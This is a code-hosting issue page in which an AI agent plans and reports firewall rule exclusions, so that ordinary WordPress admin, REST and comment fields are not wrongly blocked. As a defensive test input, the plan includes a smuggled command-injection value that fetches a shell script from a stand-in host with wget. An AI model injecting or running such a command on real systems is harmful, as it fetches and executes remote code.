Follow-up to #241, under #212. The review at #241 (comment) found these ordinary WordPress requests still refused when a field holds a value such as python3 or powershell. Start after that PR lands.
Definition of done:
At the defaults, these pass:
page on /wp-admin/admin.php, /wp-admin/options-general.php and /wp-admin/tools.php, for a plugin's settings page;
url on the REST routes /wp-block-editor/v1/url-details and /oembed/1.0/proxy;
p and postId on /wp-admin/site-editor.php.
While bodies are read, these pass:
JSON fields of REST API saves: title, slug, a tag's name and excerpt;
slug in a POST to /wp-admin/admin-ajax.php that installs a plugin;
url in a POST to /wp-comments-post.php.
Each is built by the plan at #212 (comment) and its addition at #212 (comment), one rule at a time, removing only the rules that misfire on that field. Attacks stay refused, command injection included.
make check passes.
Model: opus-5-5
Follow-up to https://git.eeqj.de/sneak/smallwebwaf/pulls/241, under https://git.eeqj.de/sneak/smallwebwaf/issues/212. The review at https://git.eeqj.de/sneak/smallwebwaf/pulls/241#issuecomment-172111 found these ordinary WordPress requests still refused when a field holds a value such as `python3` or `powershell`. Start after that PR lands.
**Definition of done:**
- At the defaults, these pass:
- `page` on `/wp-admin/admin.php`, `/wp-admin/options-general.php` and `/wp-admin/tools.php`, for a plugin's settings page;
- `url` on the REST routes `/wp-block-editor/v1/url-details` and `/oembed/1.0/proxy`;
- `p` and `postId` on `/wp-admin/site-editor.php`.
- While bodies are read, these pass:
- JSON fields of REST API saves: `title`, `slug`, a tag's `name` and `excerpt`;
- `slug` in a `POST` to `/wp-admin/admin-ajax.php` that installs a plugin;
- `url` in a `POST` to `/wp-comments-post.php`.
- Each is built by the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023, one rule at a time, removing only the rules that misfire on that field. Attacks stay refused, command injection included.
- `make check` passes.
Model: opus-5-5
clawbot
self-assigned this 2026-11-09 11:00:38 +01:00
Plan.#241 has landed, so this starts from current next.
Where:internal/coreruleset, whose doc says it runs the Core Rule Set. Change wordpress.conf, add the requests to testdata/wordpress-requests.txt, and extend WordPress's tests where they are. No new package and no new file.
Recording: WordPress 7.1.4 at the digest named in #241, in Docker on this host, driven by a headless Chrome in a container and by plain HTTP clients. Record each field with plain words and with python3, powershell, ls -la and .htaccess. Commit nothing about running it; remove every container you start; stay under 3 GiB of RAM.
Exclusions: per field, across WordPress's own areas as wordpress.conf already groups them, removing only the rules that misfire on that field. 932230 and 932235 stay wherever they do not misfire, and a test shows ; wget http://example.com/x.sh still refused on each field this unit touches.
SWW_APPS:#225 waits on sneak. If it lands first, put the new exclusions inside WordPress's section of wordpress.conf, before END_WORDPRESS. If not, that PR adapts.
Docs:SPEC.md's WordPress section names the new fields; the PR body names every field and area, and says an ordinary request on another field can still be refused.
make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR needs-review.
Model: opus-5-5
**Plan.** https://git.eeqj.de/sneak/smallwebwaf/pulls/241 has landed, so this starts from current `next`.
- **Where:** `internal/coreruleset`, whose doc says it runs the Core Rule Set. Change `wordpress.conf`, add the requests to `testdata/wordpress-requests.txt`, and extend WordPress's tests where they are. No new package and no new file.
- **Recording:** WordPress 7.1.4 at the digest named in https://git.eeqj.de/sneak/smallwebwaf/pulls/241, in Docker on this host, driven by a headless Chrome in a container and by plain HTTP clients. Record each field with plain words and with `python3`, `powershell`, `ls -la` and `.htaccess`. Commit nothing about running it; remove every container you start; stay under 3 GiB of RAM.
- **Exclusions:** per field, across WordPress's own areas as `wordpress.conf` already groups them, removing only the rules that misfire on that field. 932230 and 932235 stay wherever they do not misfire, and a test shows `; wget http://example.com/x.sh` still refused on each field this unit touches.
- **`SWW_APPS`:** https://git.eeqj.de/sneak/smallwebwaf/pulls/225 waits on sneak. If it lands first, put the new exclusions inside WordPress's section of `wordpress.conf`, before `END_WORDPRESS`. If not, that PR adapts.
- **Docs:** `SPEC.md`'s WordPress section names the new fields; the PR body names every field and area, and says an ordinary request on another field can still be refused.
`make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR `needs-review`.
Model: opus-5-5
page, p, postId and slug join the group of names on all of /wp-admin/.
The REST group now covers /wp-block-editor/v1/ and /oembed/1.0/, for url.
JSON title, excerpt, slug and name on /wp/v2/ routes skip the four rules while bodies are read.
A commenter's url skips only 930120 and 932120: an address holding python3 or ls -la did not misfire.
932235 stays on every field. Judgement call: the REST group's search, term and slug now get the same exclusions on the two added namespaces.
Model: opus-5-5
Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/249.
- `page`, `p`, `postId` and `slug` join the group of names on all of `/wp-admin/`.
- The REST group now covers `/wp-block-editor/v1/` and `/oembed/1.0/`, for `url`.
- JSON `title`, `excerpt`, `slug` and `name` on `/wp/v2/` routes skip the four rules while bodies are read.
- A commenter's `url` skips only 930120 and 932120: an address holding `python3` or `ls -la` did not misfire.
932235 stays on every field. Judgement call: the REST group's `search`, `term` and `slug` now get the same exclusions on the two added namespaces.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Follow-up to #241, under #212. The review at #241 (comment) found these ordinary WordPress requests still refused when a field holds a value such as
python3orpowershell. Start after that PR lands.Definition of done:
pageon/wp-admin/admin.php,/wp-admin/options-general.phpand/wp-admin/tools.php, for a plugin's settings page;urlon the REST routes/wp-block-editor/v1/url-detailsand/oembed/1.0/proxy;pandpostIdon/wp-admin/site-editor.php.title,slug, a tag'snameandexcerpt;slugin aPOSTto/wp-admin/admin-ajax.phpthat installs a plugin;urlin aPOSTto/wp-comments-post.php.make checkpasses.Model: opus-5-5
Plan. #241 has landed, so this starts from current
next.internal/coreruleset, whose doc says it runs the Core Rule Set. Changewordpress.conf, add the requests totestdata/wordpress-requests.txt, and extend WordPress's tests where they are. No new package and no new file.python3,powershell,ls -laand.htaccess. Commit nothing about running it; remove every container you start; stay under 3 GiB of RAM.wordpress.confalready groups them, removing only the rules that misfire on that field. 932230 and 932235 stay wherever they do not misfire, and a test shows; wget http://example.com/x.shstill refused on each field this unit touches.SWW_APPS: #225 waits on sneak. If it lands first, put the new exclusions inside WordPress's section ofwordpress.conf, beforeEND_WORDPRESS. If not, that PR adapts.SPEC.md's WordPress section names the new fields; the PR body names every field and area, and says an ordinary request on another field can still be refused.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PRneeds-review.Model: opus-5-5
Built in #249.
page,p,postIdandslugjoin the group of names on all of/wp-admin/./wp-block-editor/v1/and/oembed/1.0/, forurl.title,excerpt,slugandnameon/wp/v2/routes skip the four rules while bodies are read.urlskips only 930120 and 932120: an address holdingpython3orls -ladid not misfire.932235 stays on every field. Judgement call: the REST group's
search,termandslugnow get the same exclusions on the two added namespaces.Model: opus-5-5